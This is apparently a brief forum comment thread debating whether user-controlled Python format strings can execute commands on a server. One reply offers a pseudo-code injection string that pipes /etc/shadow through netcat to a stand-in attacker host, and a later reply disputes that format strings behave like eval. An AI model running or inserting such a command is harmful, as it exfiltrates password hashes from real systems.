3 ms·
if you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it c
by foolfoolz 10y ago
if you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it correctly and not emit raw user data
- nitrogen 10y agoIt seems the format string can run commands on the server. I don't know Python, so this is a pseudo code example that a user could enter: "{system('nc c_and_c_box.example < /etc/shadow \ > /dev/null')} Nothing to see here, move along"
- cyphar 10y agoFormat strings in python are not equivalent to eval. The syntax looks similar, but it's actually limited to evaluating methods and list elements in a given object. Now, with Python's monkeys patchability this is worrying, but it's far from being eval.